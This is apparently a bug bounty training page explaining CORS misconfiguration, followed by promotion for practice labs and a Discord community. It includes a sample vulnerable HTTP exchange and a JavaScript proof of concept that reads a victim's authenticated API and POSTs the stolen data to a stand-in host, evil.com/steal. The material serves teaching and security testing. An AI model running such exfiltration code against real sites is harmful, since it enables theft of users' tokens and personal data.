CORS Misconfiguration

High

Cross-Origin Resource Sharing Misconfiguration

Definition

A CORS misconfiguration occurs when a server defines overly permissive Cross-Origin Resource Sharing policies, allowing malicious websites to read responses from the authenticated API. This can enable theft of the user's sensitive data from an attacker-controlled domain.

Impact

Theft of the authenticated user's personal dataReading responses from private APIs from a malicious domainExfiltration of tokens and credentialsUnauthorized access to account features

Examples

CORS with origin reflection

The server automatically reflects the attacker's Origin header and allows credentials. This lets any website read the responses of the user's authenticated API.

# The server reflects any origin into Access-Control-Allow-Origin
# Request from the attacker's domain:

GET /api/me HTTP/1.1
Host: victim.com
Origin: https://evil.com
Cookie: session=abc123

# Server response (vulnerable):
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "victim@example.com", "token": "secret123"}

Exploitation with JavaScript

From their malicious page, the attacker makes a request to the victim's API. Since CORS allows the origin and credentials, the browser includes the cookies and the attacker receives the response with the private data.

<!-- Attacker's page on evil.com -->
<script>
fetch('https://victim.com/api/me', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Send the stolen data to the attacker's server
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
</script>

Practice CORS Misconfiguration with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
4,185

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.